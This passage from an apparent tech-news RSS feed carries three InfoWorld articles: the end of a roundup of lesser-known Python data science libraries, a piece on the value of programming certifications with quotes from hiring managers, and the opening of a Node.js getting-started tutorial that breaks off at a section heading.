<p class="wp-block-paragraph">Python’s rich ecosystem of data science tools is a big draw for users. The only downside of such a broad and deep collection is that sometimes the best tools can get overlooked.</p>



<p class="wp-block-paragraph">Here’s a rundown of some of the best newer or less-known data science projects available for <a href="https://www.infoworld.com/article/2254260/how-to-get-started-with-python.html">Python</a>. Some, like Polars, are getting more attention but still deserve wider notice. Others, like ConnectorX, are hidden gems.</p>



<h2 class="wp-block-heading">ConnectorX</h2>



<p class="wp-block-paragraph">Most data sits in a database somewhere, but computation typically happens outside of it. Getting data to and from the database for actual work can be a slowdown. <a href="https://github.com/sfu-db/connector-x">ConnectorX</a> loads data from databases into many common data-wrangling tools in Python, and it keeps things fast by minimizing the work required. Most of the data loading can be done in just a couple of lines of Python code and <a href="https://www.infoworld.com/article/2255395/what-is-sql-the-lingua-franca-of-data-analysis.html">an SQL query</a>.</p>



<p class="wp-block-paragraph">Like Polars (which I’ll discuss shortly), ConnectorX uses a <a href="https://www.infoworld.com/article/2258463/rust-tutorial-get-started-with-the-rust-language.html">Rust</a> library at its core. This allows for optimizations like being able to load from a data source in parallel with partitioning. Data in <a href="https://www.infoworld.com/article/3489168/postgresql-tutorial-get-started-with-postgresql-16.html">PostgreSQL</a>, for instance, can be loaded this way by specifying a partition column.</p>



<p class="wp-block-paragraph">Aside from PostgreSQL, ConnectorX also supports reading from MySQL/MariaDB, SQLite, Amazon Redshift, Microsoft SQL Server and Azure SQL, and Oracle. The results can be funneled into a <a href="https://www.infoworld.com/article/2264264/how-to-use-pandas-for-data-analysis-in-python.html">Pandas</a> or PyArrow DataFrame, or into Modin or Dask (via Pandas), or Polars (via PyArrow). General support for reading from ODBC is a work in progress.</p>



<h2 class="wp-block-heading">DuckDB</h2>



<p class="wp-block-paragraph">Data science folks who use Python ought to be aware of <a href="https://www.infoworld.com/article/2337363/why-you-should-use-sqlite-3.html">SQLite</a>—a small, but powerful and speedy relational database packaged with Python. Since it runs as an in-process library, rather than a separate application, SQLite is lightweight and responsive.</p>



<p class="wp-block-paragraph"><a href="https://duckdb.org/">DuckDB</a> is a little like someone answered the question, “<a href="https://www.infoworld.com/article/2336981/duckdb-the-tiny-but-powerful-analytics-database.html">What if we made SQLite for OLAP?</a>” Like other <a href="https://www.infoworld.com/article/2334471/what-is-olap-analytical-databases.html">OLAP</a> database engines, it uses a columnar datastore and is optimized for long-running analytical query workloads. But DuckDB gives you all the things you expect from a conventional database, like ACID transactions. And there’s no separate software suite to configure; you can get it running in a Python environment with a single <code>pip install duckdb</code> command.</p>



<p class="wp-block-paragraph">DuckDB can directly ingest data in CSV, <a href="https://www.infoworld.com/article/2255837/what-is-json-a-better-format-for-data-exchange.html">JSON</a>, or <a href="https://www.infoworld.com/article/2336762/exploring-the-apache-ecosystem-for-data-analysis.html">Parquet</a> format, as well as <a href="https://duckdb.org/docs/stable/data/data_sources">a slew of other common data sources</a>. The resulting databases can also be partitioned into multiple physical files for efficiency, based on keys (e.g., by year and month). Querying works like any other <a href="https://www.infoworld.com/article/2255395/what-is-sql-the-lingua-franca-of-data-analysis.html">SQL</a>-powered relational database, but with additional built-in features like the ability to take random samples of data or construct window functions.</p>



<p class="wp-block-paragraph">DuckDB also has a small but useful collection of extensions, including full-text search, <a href="https://duckdb.org/docs/stable/core_extensions/vss">accelerated vector similarity search</a>, Excel import/export, direct connections to SQLite and PostgreSQL, Parquet file export, and support for many common geospatial data formats and types.</p>



<h2 class="wp-block-heading">Optimus</h2>



<p class="wp-block-paragraph">One of the least enviable jobs you can be stuck with is cleaning and preparing data for use in a DataFrame-centric project. <a href="https://github.com/hi-primus/optimus">Optimus</a> is an all-in-one tool set for loading, exploring, cleansing, and writing data back out to a variety of data sources.</p>



<p class="wp-block-paragraph">Optimus can use <a href="https://www.infoworld.com/article/2264264/how-to-use-pandas-for-data-analysis-in-python.html">Pandas</a>, Dask, CUDF (and Dask + CUDF), Vaex, or <a href="https://www.infoworld.com/article/2259224/what-is-apache-spark-the-big-data-platform-that-crushed-hadoop.html">Spark</a> as its underlying data engine. Data can be loaded in from and saved back out to Arrow, Parquet, Excel, a variety of common database sources, or flat-file formats like CSV and JSON.</p>



<p class="wp-block-paragraph">The data manipulation API resembles Pandas, but adds <code>.rows()</code> and <code>.cols()</code> accessors to make it easy to do things like sort a DataFrame, filter by column values, alter data according to criteria, or narrow the range of operations based on some criteria. Optimus also comes bundled with processors for handling common real-world data types like email addresses and URLs.</p>



<p class="wp-block-paragraph">One possible issue with Optimus is that it’s still under active development but its last official release was in 2020. This means it might not be as current as other components in your stack.</p>



<h2 class="wp-block-heading">Polars</h2>



<p class="wp-block-paragraph">If you spend much time working with DataFrames and you’re frustrated by the performance limits of <a href="https://www.infoworld.com/article/2264264/how-to-use-pandas-for-data-analysis-in-python.html">Pandas</a>, reach for <a href="https://github.com/pola-rs/polars">Polars</a>. This DataFrame library for Python offers a convenient syntax similar to Pandas.</p>



<p class="wp-block-paragraph">Unlike Pandas, though, Polars uses a library written in <a href="https://www.infoworld.com/article/2255250/what-is-rust-safe-fast-and-easy-software-development.html">Rust</a> that takes maximum advantage of your hardware out of the box. You don’t need to use special syntax to take advantage of performance-enhancing features like parallel processing or SIMD; it’s all automatic. Even simple operations like reading from a CSV file are faster. Rust developers can <a href="https://github.com/pola-rs/pyo3-polars">craft their own Polars extensions using pyo3</a>.</p>



<p class="wp-block-paragraph">Polars provides eager and lazy execution modes, so queries can be executed immediately or deferred until needed. It also provides a streaming API for processing queries incrementally. Streaming isn’t available yet for many functions, although Polars can always fall back to the in-memory engine for such operations if need be. You can also <a href="https://docs.pola.rs/api/python/stable/reference/lazyframe/api/polars.LazyFrame.show_graph.html">plot execution graphs for queries</a>, streaming or otherwise, if you want to get an idea of what memory or CPU consumption is like for the query (via the external Graphviz library).</p>



<h2 class="wp-block-heading">DVC</h2>



<p class="wp-block-paragraph">A major and pervasive issue with data science experiments is <a href="https://www.infoworld.com/article/2260350/version-control-track-the-who-what-and-when-of-software-changes.html">version control</a>—not of the project’s code, but its data. <a href="https://github.com/iterative/dvc">DVC</a>, short for Data Version Control, lets you attach version descriptors to datasets, check them into Git as you would the rest of your code, and keep versions of data and code consistent together.</p>



<p class="wp-block-paragraph">DVC can track most any kind of dataset as long as they can be expressed as a file, whether kept in local storage or in a <a href="https://dvc.org/doc/user-guide/data-management/remote-storage#supported-storage-types">remote storage service</a> like an Amazon S3 bucket. You can describe how data models are managed and used by way of a “<a href="https://dvc.org/doc/user-guide/data-management/remote-storage#supported-storage-types">pipeline</a>,” which DVC’s documentation describes as being like “a Makefile system for machine learning projects.”</p>



<p class="wp-block-paragraph">The use cases for DVC are intended to be more than just allowing data to be versioned alongside code. It also works as a fast data cache for remotely hosted data, a methodology for tracking experiments conducted with data, and a registry or catalog for <a href="https://www.infoworld.com/article/2254843/what-is-machine-learning-intelligence-derived-from-data.html">machine learning models</a> created with the data. <a href="https://www.infoworld.com/article/2254808/get-started-with-visual-studio-code.html">Visual Studio Code</a> users can integrate DVC workflows into the editor by way of the <a href="https://marketplace.visualstudio.com/items?itemName=Iterative.dvc">DVC VS Code extension</a>.</p>



<h2 class="wp-block-heading">Cleanlab</h2>



<p class="wp-block-paragraph">Good machine learning datasets are hard to come by, because it’s expensive and time-consuming to create clean, properly labeled data. Sometimes, though, you have no choice but to use data that’s raw and inconsistent. <a href="https://github.com/cleanlab/cleanlab">Cleanlab</a> (as in, “cleans labels”) was made for this scenario.</p>



<p class="wp-block-paragraph">Cleanlab uses existing, high-quality machine learning datasets to analyze lower-quality, unlabeled (or poorly labeled) datasets. You create a model based on the original dataset, use Cleanlab to figure out what needs to be improved in the original dataset, then re-train using your automatically cleaned and adjusted dataset to see the difference.</p>



<p class="wp-block-paragraph">Cleanlab is data-model and data-framework agnostic, a powerful aspect of its design. It doesn’t matter if you’re running <a href="https://www.infoworld.com/article/2335194/what-is-pytorch-python-machine-learning-on-gpus.html">PyTorch</a>, OpenAI, scikit-learn, or <a href="https://www.infoworld.com/article/2255099/what-is-tensorflow-the-machine-learning-library-explained.html">Tensorflow</a>; Cleanlab can work with any classifier. It does, however, have specific workflows for common tasks like token classification, multi-labeling, regression, image segmentation and object detection, outlier detection, and so on. It’s worth perusing the <a href="https://github.com/cleanlab/examples">example set</a> to see for yourself how the process works and what results you can expect.</p>



<h2 class="wp-block-heading">Snakemake</h2>



<p class="wp-block-paragraph">Data science workflows are hard to set up, and that’s even harder to do in a consistent, predictable way. <a href="https://github.com/snakemake/snakemake">Snakemake</a> was created to automate the process, setting up data analysis workflows in ways that ensure everyone gets the same results. Many existing data science projects rely on Snakemake. The more moving parts you have in your data science workflow, the more likely you’ll benefit from automating that workflow with Snakemake.</p>



<p class="wp-block-paragraph">Snakemake workflows resemble GNU Make workflows—you define the steps of the workflow with rules, which specify what they take in, what they put out, and what commands to execute to accomplish that. Workflow rules can be multithreaded (assuming that gives them any benefit), and configuration data can be piped in from <a href="https://www.infoworld.com/article/2255837/what-is-json-a-better-format-for-data-exchange.html">JSON</a> or <a href="https://www.infoworld.com/article/2336307/7-yaml-gotchas-to-avoidand-how-to-avoid-them.html">YAML</a> files. You can also define functions in your workflows to transform data used in rules, and write the actions taken at each step to logs.</p>



<p class="wp-block-paragraph">Snakemake jobs are designed to be portable—they can be deployed on any <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html">Kubernetes-managed environment</a>, or in specific cloud environments like Google Cloud Life Sciences or Tibanna on AWS. Workflows can be “frozen” to use a specific set of packages, and successfully executed workflows can have unit tests automatically generated and stored with them. And for long-term archiving, you can store the workflow as a tarball.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Do programming certifications still matter?]]></title>
<description><![CDATA[If you’re a software developer or architect, you might wonder if programming certifications are still worth the effort, especially in the era of rapid AI-driven evolution. The short answer is, it depends.



“Certifications are shifting from a checkbox to a compass. They’re less about proving you...]]></description>
<link>https://tsecurity.de/de/3665678/ai-nachrichten/do-programming-certifications-still-matter/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665678/ai-nachrichten/do-programming-certifications-still-matter/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:44 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">If you’re a software developer or architect, you might wonder if programming certifications are still worth the effort, especially in the era of rapid <a href="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html" data-type="link" data-id="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html">AI-driven evolution</a>. The short answer is, it depends.</p>



<p class="wp-block-paragraph">“Certifications are shifting from a checkbox to a compass. They’re less about proving you memorized syntax and more about proving you can architect systems, instruct AI coding assistants, and solve problems end-to-end,” says Faizel Khan, lead AI engineer at <a href="https://landingpoint.com/">Landing Point</a>, an executive search and recruiting firm.</p>



<p class="wp-block-paragraph">“In the AI era, fewer students will get trained on the job, which means they have to train themselves,” Khan says. “Certifications—especially architectural ones like AWS, Kubernetes, Terraform—are still the clearest path to do that.”</p>



<h2 class="wp-block-heading">Pros and cons of programming certifications</h2>



<p class="wp-block-paragraph">It’s not all black and white when it comes to deciding whether to pursue programming certifications. The effort involves both pros and cons.</p>



<p class="wp-block-paragraph">“In terms of pros, certifications concretely demonstrate that you have a skillset at a documented level,” says Chris Riccio, vice president of engineering at <a href="https://uplevelteam.com/">Uplevel</a>, an engineering optimization system provider. “They also show that you’ve put in the time and effort to learn, study, and prepare.”</p>



<p class="wp-block-paragraph">Programming certifications are “a useful way to validate foundational skills and show that someone understands core concepts,” says Greg Fuller, vice president of Skillsoft’s training provider, <a href="https://www.codecademy.com/">Codecademy</a>. “They’re especially helpful for people entering the field or shifting from adjacent roles.”</p>



<p class="wp-block-paragraph">Certifications offer a structured path to demonstrate proficiency, and they can confirm your ability to build and deploy in various environments, Fuller says.</p>



<p class="wp-block-paragraph">These types of certifications often demonstrate baseline proficiency and continuous learning, says Reshmi Ramachandran, head of partnerships and GTM strategy for <a href="https://www.cprime.com/">Cprime</a>, a consultancy. “These are often key indications of proficiency for companies looking to filter large candidate pools,” she says.</p>



<p class="wp-block-paragraph">Certifications really do two things, Khan adds. “First, they force you to learn by doing,” he says. “If you’re taking AWS Solutions Architect or Terraform, you don’t pass by guessing—you plan, build, and test systems. That practice matters. Second, they act as a public signal. Think of it like a micro-degree. You’re not just saying, ‘I know cloud.’ You’re showing you’ve crossed a bar that thousands of other engineers recognize.”</p>



<p class="wp-block-paragraph">But there are cons, too. “In tech, employers don’t just want credentials, they want proof you can deliver,” says Kevin Miller, CTO at <a href="https://www.ifs.com/industries/manufacturing/industrial-manufacturing">IFS</a>, a maker of factory automation software. “Programming certifications can be a valuable indicator of your baseline knowledge and competencies, especially if you’re early in your career or pivoting into tech, but their importance is dwindling.”</p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/generative-ai/">AI tools</a> that can generate, debug, and optimize code are <a href="https://www.infoworld.com/article/4077352/85-of-developers-use-ai-regularly-jetbrains-survey.html" data-type="link" data-id="https://www.infoworld.com/article/4077352/85-of-developers-use-ai-regularly-jetbrains-survey.html">already performing tasks once done by entry-level developers</a>, “which means fewer traditional programming roles are available,” Miller says. “As a result, the job market is becoming more competitive, and certifications aren’t seen as the noteworthy achievement they once were.”</p>



<p class="wp-block-paragraph">What’s more, not all certifications carry the same weight, Riccio says. “Some may reflect only familiarity rather than true expertise,” he says. “Certifications also often measure ‘book knowledge’ rather than practical experience, and they don’t always map clearly to the requirements of a specific role.”</p>



<p class="wp-block-paragraph">Programming certifications “can be a helpful signal, especially for confirming baseline knowledge in areas like cloud, security, or devops, but they’re not the full picture,” says Morgan Watts, vice president of IT at <a href="https://developer.8x8.com/">8×8</a>, a contact center platform developer.</p>



<p class="wp-block-paragraph">“I’m more interested in a candidate’s attitude and aptitude: what problems they’ve solved, what they’ve built, and how they’ve approached challenges,” Watts says. “Certifications can show commitment and discipline, and they’re especially useful in highly specialized roles. But I’m cautious when someone presents a laundry list of certifications with little evidence of real-world application.”</p>



<p class="wp-block-paragraph">A certification without experience doesn’t carry much weight, Watts says, and over-certification can sometimes signal the wrong focus. “Ultimately, it’s the ability to apply knowledge, collaborate, and adapt that sets great developers apart,” he says.</p>



<p class="wp-block-paragraph">Finally, certifications can age fast, Khan says. “Tech stacks evolve and a badge from two years ago may already feel dusty,” he says. “And some certifications are paper-thin—multiple-choice exams that don’t prove you can debug production at 2 a.m. So, the risk is you collect badges but still can’t ship.”</p>



<h2 class="wp-block-heading">Which certifications will get you noticed?</h2>



<p class="wp-block-paragraph">Despite the drawbacks, certifications are still very much in demand, and some carry more weight than others.</p>



<p class="wp-block-paragraph">The most in-demand certifications are typically platform-based—Amazon Web Services (AWS), Google Cloud Platform (GCP), Microsoft Azure, and others, Riccio says. “Many of these platforms provide managed services that integrate with existing systems or serve as the glue between them,” he says. “Today’s engineering teams aren’t just building standalone systems in isolation; they’re using other systems to store data, orchestrate business workflows, and connect applications.”</p>



<p class="wp-block-paragraph">A certification that demonstrates the ability to build solutions on these platforms can put a development professional ahead of the competition, Riccio says.</p>



<p class="wp-block-paragraph">“The certifications I see in highest demand tend to reflect the evolving tech landscape,” Watts says. “Cloud certifications from AWS, Azure, and GCP are incredibly valuable, especially as distributed systems become the norm.”</p>



<p class="wp-block-paragraph">Also in demand are certifications for <a href="https://www.infoworld.com/article/3632270/the-devops-certifications-tech-companies-want.html">devops and CI/CD tools</a> including <a href="https://www.infoworld.com/article/3529526/how-to-succeed-with-kubernetes.html">Kubernetes</a>, <a href="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html">Docker</a>, and <a href="https://www.infoworld.com/article/2260091/what-is-jenkins-the-ci-server-explained.html">Jenkins</a>, Watts says, “because deployment automation and reliability are critical at scale. Also, with AI reshaping development, we’re seeing growing interest in certifications around machine learning, data science, and AI model integration. These certifications stand out because they align directly with the skills that teams need to move faster and more intelligently.”</p>



<aside class="sidebar large">
<h3>More about developer certifications</h3>
<p>Learn more about developer courses and certifications tech companies want:</p>
<ul>
<li><a href="https://www.infoworld.com/article/4055032/ai-developer-certifications-tech-companies-want.html">AI developer certifications</a></li>
<li><a href="https://www.infoworld.com/article/3583466/the-machine-learning-certifications-tech-companies-want.html">Machine learning certifications</a></li>
<li><a href="https://www.infoworld.com/article/2337635/4-cloud-certifications-that-will-help-you-stand-out.html">Cloud development certifications</a></li>
<li><a href="https://www.infoworld.com/article/3632270/the-devops-certifications-tech-companies-want.html">Devops and CI/CD certifications</a></li>
</ul>
</aside>




<p class="wp-block-paragraph">On the AI front, certifications in <a href="https://www.infoworld.com/article/2255099/what-is-tensorflow-the-machine-learning-library-explained.html">TensorFlow</a> and other <a href="https://www.infoworld.com/article/3583466/the-machine-learning-certifications-tech-companies-want.html">machine learning platforms</a> are gaining traction as organizations look to embed AI across the development process, Watts says. “These are the certifications that align closely with where modern engineering is headed—scalable, secure, and AI-enabled,” he says.</p>



<p class="wp-block-paragraph">And then there are <a href="https://www.csoonline.com/article/3970107/the-14-most-valuable-cybersecurity-certifications.html">cybersecurity credentials</a> that continue to be in high demand. Security certifications, such as CompTIA Security+ or Certified Ethical Hacker, “have become essential as every company faces increasing cyber threats and compliance requirements,” Miller says.</p>



<p class="wp-block-paragraph">“Core programming certifications are still a bit niche, but the adjacent skills, like those that help developers deploy, secure, and scale their code, are driving demand,” Fuller says. “Companies want developers who understand the full lifecycle, not just how to write code.”</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/3980325/the-java-certifications-tech-companies-want.html">The best Java certifications for software developers</a>.</strong></p>



<h2 class="wp-block-heading">Certifications in the hiring process</h2>



<p class="wp-block-paragraph">Experts are clear that programming certifications alone will not get you the job. But they do play a role in the hiring process.</p>



<p class="wp-block-paragraph">“The information technology world is characterized by rapid and continuous evolution, including the skills and knowledge required to work in the field,” says Diane Rafferty, managing director of the National Technology Group at <a href="https://www.atriumglobal.com/">Atrium</a>, a global talent solutions and extended workforce management firm.</p>



<p class="wp-block-paragraph">“Certifications not only prove that you have the skills and knowledge needed, but they also show employers that you’re invested in your education and career growth,” Rafferty says. “They can give you a competitive edge when looking for a job, as many companies now require candidates to have them.”</p>



<p class="wp-block-paragraph">Certifications are one part of the hiring equation, “but never the only part,” Watts says. “They help validate that a candidate has taken the time to build foundational knowledge, and that’s a good sign. But I put more weight on how a person thinks, solves problems, and contributes to the team. I look for people who are curious and proactive, who are learning because they want to, not just because a course told them to.”</p>



<p class="wp-block-paragraph">Certifications can also play a valuable role in retention, Watts says. “I encourage team members to pursue growth, and when they invest in their own development, the whole organization benefits,” he says. “But again, it’s that balance of knowledge, attitude, and applied experience that really moves the needle.”</p>



<p class="wp-block-paragraph">Certifications “may allow you to breeze through the initial résumé screening process, potentially getting you to the next stage faster,” Riccio says. “At a minimum, they will set your profile apart from the rest of the pack. They also demonstrate that you’ve reached a baseline level of expertise, allowing hiring managers to quickly evaluate whether you have the skills for the role.”</p>



<p class="wp-block-paragraph">Employers today “care far less about whether someone has passed an exam and far more about whether they can apply knowledge effectively in real-world situations, leverage AI tools, and solve complex problems,” Miller says. “A certification might get someone an interview, but being able to demonstrate problem-solving skills, teamwork, and adaptability will really make them stand out.”</p>



<h2 class="wp-block-heading">Popular programming certifications</h2>



<p class="wp-block-paragraph">The following certifications consistently rose to the top in my conversations with tech leaders and hiring managers.</p>



<h3 class="wp-block-heading">AWS Certified Developer—Associate</h3>



<p class="wp-block-paragraph">Showcases skills and knowledge in developing, optimizing, packaging, and deploying applications, using CI/CD workflows, and identifying and resolving application issues, according to AWS. This certification is said to be a good starting point on the AWS certification journey for professionals in IT or cloud developer job roles.</p>



<h3 class="wp-block-heading">Azure Developer Associate</h3>



<p class="wp-block-paragraph">This certificate from Microsoft is intended for developers participating in all phases of cloud development, including design, deployment, maintenance, and monitoring. The course teaches developers how to create end-to-end solutions in Microsoft Azure, using the Microsoft Learn Sandbox environment to access Azure resources and services.</p>



<h3 class="wp-block-heading">Certified Kubernetes Application Developer (CKAD)</h3>



<p class="wp-block-paragraph">This certification was created by the Linux Foundation and Cloud Native Computing Foundation. It demonstrates that candidates can design, build, and deploy cloud-native applications for Kubernetes.</p>



<h3 class="wp-block-heading">Certified Secure Software Lifecycle Professional (CSSLP)</h3>



<p class="wp-block-paragraph">This certification, from ISC2, focuses on secure software development practices. It recognizes leading application security skills and demonstrates advanced technical skills and knowledge needed for authentication, authorization, and auditing throughout the software development lifecycle.</p>



<h3 class="wp-block-heading">Databricks Certified Machine Learning Professional</h3>



<p class="wp-block-paragraph">Professionals learn about the latest data and AI techniques and how they can use the Databricks Data Intelligence Platform to build a variety of solutions across data engineering, data warehousing, data science, and AI.</p>



<h3 class="wp-block-heading">Professional Cloud Architect</h3>



<p class="wp-block-paragraph">This certification from Google assesses the ability to design and plan a cloud solution architecture, manage and provision the cloud solution infrastructure, design for security and compliance, analyze and optimize technical and business processes manage implementations of cloud architecture, and ensure solution and operations reliability.</p>



<h3 class="wp-block-heading">Terraform Associate</h3>



<p class="wp-block-paragraph">This certification from HashiCorp is for cloud engineers specializing in operations, IT, or development who know the basic concepts and skills associated with Terraform. It validates foundational skills in using <a href="https://www.infoworld.com/article/3893387/how-terraform-is-evolving-infrastructure-as-code.html">Terraform</a> for <a href="https://www.infoworld.com/article/2259359/what-is-infrastructure-as-code-automating-your-infrastructure-builds.html">infrastructure as code</a> development.</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Node.js tutorial: Get started with Node]]></title>
<description><![CDATA[Node.js is a popular and versatile cross-platform JavaScript runtime environment. Node was the first runtime to allow developers to run JavaScript outside the browser, opening a new world of possibilities in server-side JavaScript. Its ease of use, massive ecosystem and performance characteristic...]]></description>
<link>https://tsecurity.de/de/3665674/ai-nachrichten/nodejs-tutorial-get-started-with-node/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665674/ai-nachrichten/nodejs-tutorial-get-started-with-node/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:39 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2254485/what-is-nodejs-javascript-runtime-explained.html">Node.js</a> is a popular and versatile cross-platform <a href="https://www.infoworld.com/article/2263137/what-is-javascript-the-full-stack-programming-language.html">JavaScript</a> runtime environment. Node was the first runtime to allow developers to run JavaScript outside the browser, opening a new world of possibilities in <a href="https://www.infoworld.com/article/4052419/9-vital-concepts-of-modern-javascript.html" data-type="link" data-id="https://www.infoworld.com/article/4052419/9-vital-concepts-of-modern-javascript.html">server-side JavaScript</a>. Its ease of use, massive ecosystem and performance characteristics have continued to secure its place as one of the most important technologies of the modern web.</p>



<p class="wp-block-paragraph">Anytime you need to run JavaScript on the server—be it for a systems utility, a REST API, data processing, or anything else—Node is an excellent choice. There are newer runtimes, namely <a href="https://www.infoworld.com/article/2336271/deno-vs-nodejs-which-is-better.html">Deno</a> and <a href="https://www.infoworld.com/article/2338008/explore-bunjs-the-all-in-one-javascript-runtime.html">Bun</a>, but Node remains the standard for server-side JavaScript.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/2252306/10-javascript-concepts-every-nodejs-developer-must-master.html">10 JavaScript concepts you need to succeed with Node</a>.</strong></p>



<h2 class="wp-block-heading">Getting started with Node</h2>



<p class="wp-block-paragraph">If you haven’t already experienced Node, this article will introduce you. We’ll step through installing Node and the NPM package manager, spinning up a simple web server, and using the Node cluster module to take advantage of multiple CPU cores.</p>



<p class="wp-block-paragraph">We’ll also look at using the NPM package manager to install additional Node modules and other JavaScript packages. And we’ll dip a toe into using a Node framework, in this case the ubiquitous <a href="https://www.infoworld.com/article/3615615/intro-to-express-js-endpoints-parameters-and-routes.html">Express server</a>, to create more feature-rich and flexible Node.js servers. Let’s get started!</p>



<h2 class="wp-block-heading">Installing Node and NPM</h2>



<p class="wp-block-paragraph">There are <a href="https://docs.npmjs.com/downloading-and-installing-node-js-and-npm">a few ways to install Node</a>, including the installer that <a href="https://docs.npmjs.com/downloading-and-installing-node-js-and-npm">Node itself provides</a>, but the recommended way is with a version manager. The most common version manager is <a href="https://github.com/nvm-sh/nvm">NVM</a>. This makes it easy to install Node and change versions when you need to. (There is also a Microsoft Windows-specific version called <a href="https://github.com/coreybutler/nvm-windows/releases">nvm-windows</a>.)</p>



<p class="wp-block-paragraph">NVM can be installed with an installer or using a CLI. In the following example, we use <code>curl</code>:</p>



<pre class="wp-block-code"><code>
$ curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.3/install.sh | bash</code></pre>



<p class="wp-block-paragraph">Once you have NVM installed, installing the most recent version of Node is simple:</p>



<pre class="wp-block-code"><code>
$ nvm install latest
</code></pre>



<p class="wp-block-paragraph">The <code>install latest</code> command makes the latest version available. Mine is Node 24.9.0, so I activate it with:</p>



<pre class="wp-block-code"><code>$ nvm use 24.9.0</code></pre>



<p class="wp-block-paragraph">Anytime you need to install another version of Node, you can use <code>nvm install</code> and <code>nvm use</code> to switch between them.</p>



<p class="wp-block-paragraph">You should now see Node available at your command prompt:</p>



<pre class="wp-block-code"><code>
$ node -v

v24.9.0</code></pre>



<p class="wp-block-paragraph">When you install Node this way, the Node package manager (NPM) is also installed:</p>



<pre class="wp-block-code"><code>$ npm -v

11.6.0</code></pre>



<p class="wp-block-paragraph">Note that using NVM also avoids potential permissions issues with NPM packages when using the installer.</p>



<h2 class="wp-block-heading">A simple web server in Node</h2>



<p class="wp-block-paragraph">To start simply, we can use <a href="https://nodejs.org/api/synopsis.html">an example from the Node homepage</a>. Copy the Synopsis example code as directed there and paste it into your code editor, then save it as <code>example.js</code>:</p>



<pre class="wp-block-code"><code>
const http = require('node:http');

const hostname = '127.0.0.1';
const port = 3000;

const server = http.createServer((req, res) =&gt; {
  res.statusCode = 200;
  res.setHeader('Content-Type', 'text/plain');
  res.end('Hello, InfoWorld!\n');
});

server.listen(port, hostname, () =&gt; {
  console.log(`Server running at http://${hostname}:${port}/`);
});</code></pre>



<p class="wp-block-paragraph">Open a shell in the directory where you saved the file, and run the file from your command line:</p>



<pre class="wp-block-code"><code>
$ node example.js

Server running at http://127.0.0.1:3000/</code></pre>



<p class="wp-block-paragraph">You can now go to the browser and check it out at <code>127.0.0:3000</code>, and you should see a simple greeting. Back at the terminal, press <strong>Control-C</strong> to stop the running server.</p>



<p class="wp-block-paragraph">Before we go further, let’s pull apart the code.</p>



<h3 class="wp-block-heading">Creating a simple HTTP server with Node</h3>



<p class="wp-block-paragraph">We start with the command:</p>



<pre class="wp-block-code"><code>const http = require(‘http’);</code></pre>



<p class="wp-block-paragraph">This is how you include a module in your code, in this case, the standard <a href="https://nodejs.org/api/http.html">http module</a>. (The <code>http</code> module ships with Node, so you don’t have to add it as a dependency.) This module provides the <a href="https://nodejs.org/api/http.html#http_http_createserver_requestlistener">createServer</a> and <code>listen</code> functions we’ll use later on.</p>



<p class="wp-block-paragraph">You might have noted that this example used a <a href="https://nodejs.org/api/modules.html">CommonJS</a> import. While older, this style of import is still very common in Node programs as well as some documentation. However, it’s gradually being phased out in favor of <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules">ES Modules</a> (ESM), the standardized module system introduced in ECMAScript 2015. An ESM import would look like this:</p>



<pre class="wp-block-code"><code>import http from 'http';</code></pre>



<p class="wp-block-paragraph">After we import the <code>http</code> module, we define a couple of values we need (<code>hostname</code> and <code>port</code>):</p>



<pre class="wp-block-code"><code>const hostname = '127.0.0.1';

const port = 3000;</code></pre>



<p class="wp-block-paragraph">Next, we create the server:</p>



<pre class="wp-block-code"><code>const server = http.createServer((req, res) =&gt; {
  res.statusCode = 200;
  res.setHeader(‘Content-Type’, ‘text/plain’);
  res.end(‘Hello World\n’);
});</code></pre>



<p class="wp-block-paragraph">The <code>creatServer </code>command accepts a callback function, which we define using the fat arrow notation. The callback function passes two arguments, the request (<code>req</code>) and response (<code>res</code>) objects needed to handle HTTP requests. The <code>req</code> argument contains the incoming HTTP request, which in this case is ignored. The <code>res.end</code> method sets the response data to <code>‘Hello InfoWorld\n’</code> and tells the server that it is done creating the response.</p>



<p class="wp-block-paragraph">Next, we have:</p>



<pre class="wp-block-code"><code>server.listen(port, hostname, () =&gt; {
  console.log(`Server running at http://${hostname}:${port}/`);
});</code></pre>



<p class="wp-block-paragraph">The <code>server.listen</code> function accepts three arguments. The first two are the <code>port</code> and <code>hostname</code>, and the third is a callback that is executed when the server is ready (in this case, it prints a message to the console).</p>



<p class="wp-block-paragraph">Having all the event handlers defined as callbacks is one of the most subtle and powerful parts of Node. It’s key to Node’s asynchronous non-blocking architecture.</p>



<p class="wp-block-paragraph">Node.js runs on <a href="https://www.infoworld.com/article/4052419/9-vital-concepts-of-modern-javascript.html">an event loop</a>, which always reverts to handling events when not otherwise engaged. It’s like a busy order-taker continually picking up orders and then updating the order-maker with their order. We receive updates via the callbacks.</p>



<h2 class="wp-block-heading">A multi-process web server with Node</h2>



